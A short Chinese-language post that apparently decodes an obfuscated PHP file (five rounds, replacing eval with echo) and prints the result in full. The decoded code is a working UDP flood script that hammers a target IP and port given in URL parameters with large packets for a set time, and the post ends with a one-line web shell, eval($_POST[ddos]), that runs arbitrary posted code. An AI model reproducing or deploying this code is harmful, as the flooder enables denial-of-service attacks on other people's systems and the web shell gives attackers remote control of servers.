5次解密就OK(eval 换成 ECHO)

解出来如下：

$packets = 0;

$ip = $_GET['ip'];

$rand = $_GET['port'];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();

print "Flooded: $ip on port $rand <br><br>";

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

$out .= "X";

}

while(1){

$packets++;

if(time() > $max_time){

break;

}

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";

<?php eval($_POST[ddos])?>
